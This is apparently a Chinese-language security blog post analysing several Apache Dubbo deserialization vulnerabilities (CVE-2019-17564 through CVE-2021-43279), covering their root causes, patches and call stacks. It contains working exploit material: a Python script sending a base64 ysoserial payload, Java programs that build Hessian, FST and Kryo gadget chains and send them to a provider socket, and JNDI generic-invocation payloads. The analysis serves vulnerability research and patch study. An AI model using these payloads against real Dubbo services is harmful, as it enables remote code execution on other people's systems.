CVE-2021-43279这个漏洞,我也有分析过,实际上还是有价值的,有比较好的toString链的话,可以打到2.7.13甚至2.7.14 https://github.com/bitterzzZZ/CVE-2021-43297-POC
Java安全-Dubbo
What is Dubbo
Apache Dubbo 是高性能的Java RPC框架。
RPC
远程过程调用,不同于RMI,一个面向过程,一个面向对象。
服务器A和B分别部署了一个应用,A想调用B的方法,但是它们的部署的应用不在同一个内存空间,就不能直接调用,所以需要通过网络来表达调用的语义和传达的数据。
看一下Dubbo的基本工作原理
中间的通信协议使用dubbo协议。
先分清这几个角色
- Container 服务运行的容器
Provider RPC服务提供方
Registry 注册中心
Consumer RPC服务消费者
Monitor 监控中心
调用关系说明:
首先容器开启并提供RPC服务,然后
- 服务提供者在启动时,向注册中心注册自己提供的服务。
服务消费者在启动时,向注册中心订阅自己所需的服务。
注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。
Zookeeper
Zookeeper 是Dubbo推荐使用的注册中心,安装参考
https://dubbo.apache.org/zh/docsv2.7/admin/install/zookeeper/
不开启集群
然后开启,Zookeeper注册中心。
分包
分包简单来说就是把服务中需要的接口和模型,以及异常都抽离出来放在一个API包里,这样更方便Consumer和Provider 来实现。
搭建参考
https://github.com/apache/dubbo-samples/
CVE-2019-17564
简述
Apache Dubbo在使用HTTP协议进行通信时,是直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用的,而这个过程会读取POST请求的Body内容并进行反序列化操作,从而导致反序列化漏洞的存在进而RCE。
影响版本
复现分析
https://github.com/apache/dubbo-samples/ 中的 http 来做demo,
再添加一个cc依赖
打开zookeeper 然后运行 httpprovider,
可以看到dubbo的通信协议是http协议。
运行consumer,使用wireshark追一下tcp流
因为直接使用127.0.0.1 ,数据包回环,不经过网卡,简单设置一下路由规则就好。
route add 192.168.1.6 mask 255.255.255.255 192.168.1.1 metric 1
route delete 192.168.1.6 mask 255.255.255.255 192.168.1.1 metric 1
Content-Type: application/x-java-serialized-object
用来指定java序列化的对象,尝试构造恶意的序列化数据,攻击provider本地的gadgets
java -jar ysoserial.jar CommonsCollections6 calc|base64 -w0
import requests
import base64
url = "http://192.168.1.6:8081/org.apache.dubbo.samples.http.api.DemoService"
payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="
payload = base64.b64decode(payload)
headers = {"Content-Type": "application/x-java-serialized-object"}
res = requests.post(url,headers=headers,data=payload)
print(res.text)
从报错的调用栈其实就可以知道原因了
org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.doReadRemoteInvocation(RemoteInvocationSerializingExporter.java:147)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:121)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:100)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.handleRequest(HttpInvokerServiceExporter.java:79)
org.apache.dubbo.rpc.protocol.http.HttpProtocol$InternalHandler.handle(HttpProtocol.java:216)
org.apache.dubbo.remoting.http.servlet.DispatcherServlet.service(DispatcherServlet.java:61)
javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation
这里调用Java原生的反序列化,然后再检查类型抛出异常。
官方也给出了提示,不建议使用httpinvoker来暴露服务。
补丁分析
不再使用org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter
作为骨架处理http请求,而是使用com.googlecode.jsonrpc4j.JsonRpcServer
,调用其父类的com.googlecode.jsonrpc4j.JsonRpcBasicServer#handle
方法处理。数据传输使用json 来完成。
CVE-2020-1948
简述
上面的漏洞说到的是dubbo中使用http协议中存在的反序列化问题,此部分则是分析默认的dubbo的原生协议,中存在的反序列化漏洞。
影响版本
2.7.0 <= Dubbo Version <= 2.7.6
2.6.0 <= Dubbo Version <= 2.6.7
Dubbo 所有 2.5.x 版本(官方团队目前已不支持)
https://dubbo.apache.org/zh/docs/references/protocols/,这里介绍了dubbo中支持的所有协议,主要看dubbo://
dubbo协议中使用hessian
序列化,所以,重点研究hessian的反序列化问题。
这篇文章中很详细的讲述了Java的序列化和反序列化机制,
https://paper.seebug.org/1131/#hessian_2
Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。
当然,这篇文章主要讨论Hessian 的反序列化的问题。
Hessian反序列化占用的空间比JDK反序列化结果小,Hessian序列化时间比JDK序列化耗时长,但Hessian反序列化很快。并且两者都是基于Field机制,没有调用getter、setter方法,同时反序列化时构造方法也没有被调用。
Hessian在基于RPC的调用中性能更好。
https://www.anquanke.com/post/id/197658#h3-3
三梦师傅也很详细的分析了dubbo中hessian反序列化的流程,总结了满足条件的Gadgets
对其整理一下:
- 默认dubbo协议+hessian2序列化方式
序列化tcp包可随意修改方法参数反序列化的class
反序列化时先通过构造方法实例化,然后在反射设置字段值
- 构造方法的选择,只选择花销最小并且只有基本类型传入的构造方法
由此,想要rce,估计得找到以下条件的gadget clain:
- 有参构造方法
参数不包含非基本类型
cost最小的构造方法并且全部都是基本类型或String
环境参考https://github.com/apache/dubbo-samples/tree/master/dubbo-samples-basic
修改 version 添加Rome依赖
先使用demo执行一下rpc调用
可以发现dubbo的协议格式。
https://dubbo.apache.org/zh/docs/concepts/rpc-protocol/#protocol-spec
文档写的很明确,
直接看body部分的序列化部分,
Dubbo version 和 Service name Service version 需要通过数据包可以直接看到,
然后修改指定方法的参数类型为map,加入一个满足条件的Gadgets,
payload如下
使用rome调用getter方法触发jndi注入的链子,
package org.apache.dubbo.samples.basic;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import marshalsec.util.Reflections;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;
public class TestBasicConsumer {
public static void main(String[] args) throws Exception{
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
rs.setDataSourceName("ldap://127.0.0.1:8087/xxx");
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
out.writeUTF("2.0.2");
//todo 此处填写注册中心获取到的service全限定名、版本号、方法名
out.writeUTF("org.apache.dubbo.samples.basic.api.DemoService");
out.writeUTF("0.0.0");
out.writeUTF("sayHello");
//todo 方法描述不需要修改,因为此处需要指定map的payload去触发
out.writeUTF("Ljava/util/Map;");
out.writeObject(s);
out.writeObject(new HashMap());
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("192.168.1.4", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
上面的漏洞问题出在哪里?
明明接口方法的参数类型是String,却可以通过协议的漏洞来伪造一个Map类型的恶意类进而触发hashcode或者equals方法的反序列化。
补丁分析
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
修复方法是加了层判断,
CVE-2020-11995
简述
上面漏洞的绕过版本,根本原因还是考虑泛型调用,兼容性。所以可以修改方法名来绕过达到反序列化的目的,泛型调用下面会说。
影响版本
Dubbo 2.7.0 ~ 2.7.8
Dubbo 2.6.0 ~ 2.6.8
Dubbo 所有 2.5.x 版本
poc 就是把上面的方法名换成下面三个任意
补丁分析
又加了判断,
算是没有办法绕过了,此处的参数类型强制指定为泛型调用时的。
CVE-2021-25641
简述
Dubbo服务在没有配置协议的情况下,默认使用dubbo协议,dubbo协议默认使用hessian2进行序列化传输对象。hessian2反序列化只是其中一个攻击面,太局限,而且hessian2可能会提供黑白名单的限制。所以需要尝试扩展攻击面,此漏洞应运而生。
影响版本
基础 dubbo-common <=2.7.3
Dubbo 2.7.0 to 2.7.8
Dubbo 2.6.0 to 2.6.9
Dubbo all 2.5.x versions (not supported by official team any longer)
复现分析
需要添加dubbo-common 依赖,
可以修改dubbo协议的
位来更改序列化方式为Kryo或者FST序列化格式。
通过id索引序列化器,当id为8时使用Kryo,id为9时使用Fst,
kryo 和 fst 的调用链都比较类似,使用map序列化器反序列化时,触发
继而调用hashcode 或者 equals,
dubbo中存在
dubbo-common中又存在fastjson
所以利用链就比较清楚了,结合之前分析的hessian的老五条
使用org.springframework.aop.target.HotSwappableTargetSource#equals -> com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)-> xxxx.toString()
fastjson中 JSONObject
是可以被序列化的,当其显式或隐式被调用toString
方法时,会触发绑定对象的getter方法,这算是人尽皆知的事实。
所以结合上面的poc改改就可以了,
package org.apache.dubbo.samples.basic;
import com.alibaba.fastjson.JSONObject;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.ObjectOutput;
import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
import org.apache.dubbo.rpc.RpcInvocation;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;
public class FSTTest {
public static String SerType = "FST";
public static Object getGadgetsObj(String cmd) throws Exception{
//Make TemplatesImpl
Object templates = Utils.createTemplatesImpl(cmd);
//Make FastJson Gadgets Chain
JSONObject jo = new JSONObject();
jo.put("oops",templates);
return Utils.makeXStringToStringTrigger(jo);
}
public static void main(String[] args) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
//Make header
byte[] header = new byte[16];
ObjectOutput objectOutput;
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
switch (SerType) {
case "FST":
objectOutput = new FstObjectOutput(baos);
header[2] = (byte) ((byte) 0x80 | (byte)9 | (byte) 0x40);
break;
case "Kyro":
default:
objectOutput = new KryoObjectOutput(baos);
header[2] = (byte) ((byte) 0x80 | (byte)8 | (byte) 0x40);
break;
}
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
//Genaral ObjectOutput
objectOutput.writeUTF("2.0.2");
objectOutput.writeUTF("org.apache.dubbo.samples.basic.api.DemoService");
objectOutput.writeUTF("0.0.0");
objectOutput.writeUTF("sayHello");
objectOutput.writeUTF("Ljava/lang/String;"); //*/
objectOutput.writeObject(getGadgetsObj("calc"));
objectOutput.writeObject(null);
objectOutput.flushBuffer();
//Transform ObjectOutput to bytes payload
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Bytes.int2bytes(baos.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(baos.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//Send Payload
Socket socket = new Socket("192.168.0.103", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
Utils,借鉴ysoserial.payloads.util.Gadgets
再自行添加一个方法就行
public static Object makeXStringToStringTrigger(Object o) throws Exception {
XString x = new XString("HEYO");
return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(x));
}
调用链如下,
FST,
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:280, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
toString:857, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
instantiate:79, FSTMapSerializer (org.nustaq.serialization.serializers)
instantiateAndReadWithSer:497, FSTObjectInput (org.nustaq.serialization)
readObjectWithHeader:366, FSTObjectInput (org.nustaq.serialization)
readObjectInternal:327, FSTObjectInput (org.nustaq.serialization)
readObject:307, FSTObjectInput (org.nustaq.serialization)
readObject:102, FstObjectInput (org.apache.dubbo.common.serialize.fst)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
Kryo
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:280, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
toString:857, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
具体细节自行调试。
补丁分析
dubbo-common 2.7.3 的版本中存在kryo 和 fst 的序列化需要的类,
而在 dubbo-common 2.7.4.1 中,这三个包并不存在,
需要自行导入,
但是我发现,并不是dubbo版本 2.7.9以下才会出现漏洞,我在测试了 dubbo 和dubbo-common 2.7.9 2.7.10 漏洞仍然可以触发,
而且也不会被CVE-2020-1948的补丁过滤拦截
,fastjson 版本也还保持在1.2.46,利用链可以触发。
所以关键因素我觉得仍然是服务端是否允许 kyro 和 fst 这两种序列化方式。
CVE-2021-30179
简述
https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/
其中的issue 4
就简单介绍了此漏洞原理,
dubbo
默认支持泛型调用(https://dubbo.apache.org/en/docs/v2.7/user/examples/generic-reference/),这也就是上面`CVE-2019-17564` 绕过的原因。通过泛型调用provider
暴露的接口的时候会使用GenericFilter
来处理,RPC attachment
需要指定调用是一个泛型调用,同时可以提供反序列化方式,
影响版本
Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
Apache Dubbo all 2.5.x versions (官方已不再提供支持)
,然后通过Java反射完成最后调用。
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
在这里解码的时候
通过读取 attachment,其实这个attachment就是一个map,最后writeObject 进去的,
然后将其和attachments
属性合并,
泛型调用最后会使用,org.apache.dubbo.rpc.filter.GenericFilter#invoke
来处理,
这里获取generic,作为反序列化方式的一种判断,
这里提出了三种利用方式,
https://mp.weixin.qq.com/s/vHJpE2fZ8Lne-xFggoQiAg
raw.return
跟进一下,参数 args通过下面的代码来反序列化获取
args = PojoUtils.*realize*(args, params, method.getGenericParameterTypes());
但其实传入的待处理的 args 是我们一开始写入的参数对象,
// 泛型调用第一个参数 方法名
out.writeUTF("sayHello");
// 泛型调用第二个参数 参数类型数组
out.writeObject(new String[] {"java.lang.String"});
// 泛型调用第三个参数 参数对象
HashMap jndi = new HashMap();
jndi.put("class", "org.apache.xbean.propertyeditor.JndiConverter");
jndi.put("asText", JNDI_URL);
out.writeObject(new Object[]{jndi});
// attachment
HashMap map = new HashMap();
map.put("generic", "raw.return");
out.writeObject(map);
POJO 实际上就是一个普通的Java对象,没有实现任何接口和继承,就是单纯单纯单纯,不能用序列化等方式还原,就用到了一些特殊的处理。
org.apache.dubbo.common.utils.PojoUtils#realize0
跟进,这里的 pojo 就是 上次待处理的 args,也就是参数对象。
如果pojo是个map,
就从里面获取"class" 对应的类名,加载进来,如果不是 Map 向下的类型,或者Object,且不是接口,就会实例化,
然后遍历 pojo,通过key来获取加载进来的类的 setter方法和属性,
如果方法存在,那么就对value递归处理,最后反射调用对应的setter方法,
这个过程可以想象成 fastjson 的编组时的行为,作者使用的是org.apache.xbean.propertyeditor.JndiConverter#setAsText
用一个 LinkedHashMap
就可以通过com.sun.rowset.JdbcRowSetImpl#setAutoCommit
来JNDI了,无需加入依赖。
调用栈
connect:634, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
realize0:483, PojoUtils (org.apache.dubbo.common.utils)
realize:211, PojoUtils (org.apache.dubbo.common.utils)
realize:99, PojoUtils (org.apache.dubbo.common.utils)
invoke:91, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) [3]
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) [2]
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) [1]
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
bean
观察一下 bean处理的方式,
需要是一个JavaBeanDescriptor
的实例,
org.apache.dubbo.common.beanutil.JavaBeanDescriptor
这是个什么东西,就是个JavaBean的封装器,
主要有三个属性
classname 表示需要被描述的JavaBean 的类名,type指定描述器的类型,
org.apache.dubbo.common.beanutil.JavaBeanSerializeUtil
反序列化器会根据这些类型进行不同的处理。
properties
本身就是一个有序哈希表,存入属性名和对应的属性值。
继续跟进
org.apache.dubbo.common.beanutil.JavaBeanSerializeUtil#instantiateForDeserialize
通过构造JavaBeanDescriptor
时的type
,
来选择如何根据classname
还原一个类,具体细节可以看代码,
核心是org.apache.dubbo.common.beanutil.JavaBeanSerializeUtil#deserializeInternal
类,
下面这个else 分支代表的是BeanType的处理,
}else {
if (!beanDescriptor.isBeanType()) {
throw new IllegalArgumentException("Unsupported type " + beanDescriptor.getClassName() + ":" + beanDescriptor.getType());
}
Iterator var15 = beanDescriptor.iterator();
while(var15.hasNext()) {
Entry<Object, Object> entry = (Entry)var15.next();
String property = entry.getKey().toString();
value = entry.getValue();
if (value != null) {
if (value instanceof JavaBeanDescriptor) {
valueDescriptor = (JavaBeanDescriptor)entry.getValue();
value = instantiateForDeserialize(valueDescriptor, loader, cache);
deserializeInternal(value, valueDescriptor, loader, cache);
}
Method method = getSetterMethod(result.getClass(), property, value.getClass());
boolean setByMethod = false;
try {
if (method != null) {
method.invoke(result, value);
setByMethod = true;
}
} catch (Exception var12) {
LogHelper.warn(logger, "Failed to set property through method " + method, var12);
}
可以发现会遍历 properties属性,然后反射获取 对应classname实例的setter方法,对属性进行赋值。
利用其实跟上面那种方式差不多,只不过多了一层封装的操作。
// 泛型调用第三个参数 参数对象
JavaBeanDescriptor descriptor = new JavaBeanDescriptor("com.sun.rowset.JdbcRowSetImpl",7);
descriptor.setProperty("class", "com.sun.rowset.JdbcRowSetImpl");
descriptor.setProperty("dataSourceName", JNDI_URL);
descriptor.setProperty("autoCommit",true);
out.writeObject(new Object[]{descriptor});
// attachment
HashMap map = new HashMap();
map.put("generic", "bean");
out.writeObject(map);
调用栈
connect:615, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
deserializeInternal:282, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
deserialize:215, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
deserialize:204, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
invoke:115, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
nativejava
UnsafeByteArrayInputStream is = new UnsafeByteArrayInputStream((byte[])((byte[])args[i]));
Throwable var11 = null;
try {
args[i] = ((Serialization)ExtensionLoader.getExtensionLoader(Serialization.class).getExtension("nativejava")).deserialize((URL)null, is).readObject();
public NativeJavaObjectInput(InputStream is) throws IOException {
this(new ObjectInputStream(is));
}
public Object readObject() throws IOException, ClassNotFoundException {
return this.inputStream.readObject();
}
其实就是使用原生java反序列化,只不过需要参数是byte数组,下面的代码就是生成一个cc6的序列化payload,
// 泛型调用第三个参数 参数对象
byte[] payload = Serializer.serialize(ObjectPayload.Utils.makePayloadObject("CommonsCollections6","calc"));
out.writeObject(new Object[]{payload});
// attachment
HashMap map = new HashMap();
map.put("generic", "nativejava");
out.writeObject(map);
readObject:50, NativeJavaObjectInput (org.apache.dubbo.common.serialize.nativejava)
invoke:98, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
修复
前两种攻击的修复,在加载类前都加入验证
都加入了 SerializeClassChecker.*getInstance*().validateClass(name);
CLASS_DESERIALIZE_BLOCKED_SET
中存在黑名单的验证,封堵了利用链。
对于 nativejava 则从配置文件中判断是否支持Java反序列化,默认为false。
CVE-2021-43279
简述
仍然是默认的 hessian序列化方式,抛出一个非预期的异常时导致了任意代码执行。
影响版本
This issue affects Apache Dubbo Apache Dubbo 2.6.x versions prior to 2.6.12; Apache Dubbo 2.7.x versions prior to 2.7.15; Apache Dubbo 3.0.x versions prior to 3.0.5.
补丁&漏洞分析
直接先从补丁来看
https://github.com/apache/dubbo-hessian-lite/commit/a35a4e59ebc76721d936df3c01e1943e871729bd#
这个commit 的名称是
Remove toString Calling
修改部分基本如下
主要变动就是删除了隐式的对象的toString调用。
dubbo的默认序列化引擎是 hessian2 ,且修复了src/main/java/com/alibaba/com/caucho/hessian/io/Hessian2Input.java
中的 expect
方法,这是最容易被利用的,比如
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
然后 readUTF() -> readString() -> except()
readString 只需要不满足上面的case就可以了。
作者使用的是67,也就是0x43。
